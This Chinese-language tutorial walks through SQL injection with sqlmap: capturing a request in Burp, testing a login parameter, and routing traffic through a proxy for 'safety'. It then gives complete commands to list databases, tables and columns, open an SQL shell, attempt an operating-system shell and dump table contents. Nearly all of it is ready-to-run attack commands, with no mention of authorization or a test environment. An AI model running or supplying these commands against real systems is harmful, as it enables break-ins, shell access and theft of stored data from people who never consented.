测试是否存在注入

使用SQLMAP配合Burp等抓包工具可以非常简单的进行注入测试

首先使用Burp或者Chrome自带的Network模块抓取需要注入地点的HTTP包,保存到TXT文件中

再利用下面的命令测试是否存在注入

python sqlmap.py -r txt文件路径  -p 需要进行注入测试的参数名

代理与线程

进行SQL注入测试一般需要挂上代理保证安全,SQLMAP也支持各种形式的代理,只需使用–proxy参数即可

python sqlmap.py --proxy=代理服务器地址

单线程注入一般速度较慢,还可以利用–thread参数指定多线程

python sqlmap.py --thread 10

利用注入漏洞

SQLMAP如果返回注入成功的结果,我们便可以利用SQLMAP进行自动化获取我们需要的数据,甚至GETSHELL

获取数据库名:

python sqlmap.py --proxy=http://192.168.241.1:8080 -r a.txt  -p loginName --dbs --thread 10

获取表名:

python sqlmap.py --proxy=http://192.168.241.1:8080 -r a.txt  -p loginName  -D databasename --tables --thread 10

获取字段名:

python sqlmap.py --proxy=http://192.168.241.1:8080 -r a.txt  -p loginName  -D databasename -T tablename --columns --thread 10

执行自定义SQL语句:

python sqlmap.py --proxy=http://192.168.241.1:8080 -r a.txt  -p loginName  --sql-shell  --thread 10

注意执行自定义SQL语句时,对表操作需要使用 数据库名.表名的规则

尝试GETSHELL:

python sqlmap.py --proxy=http://192.168.241.1:8080 -r a.txt  -p loginName  --os-shell

直接DUMP数据:

python sqlmap.py --proxy=http://192.168.241.1:8080 -r a.txt  -p loginName  -D databasename -T tablename -C columnname --dump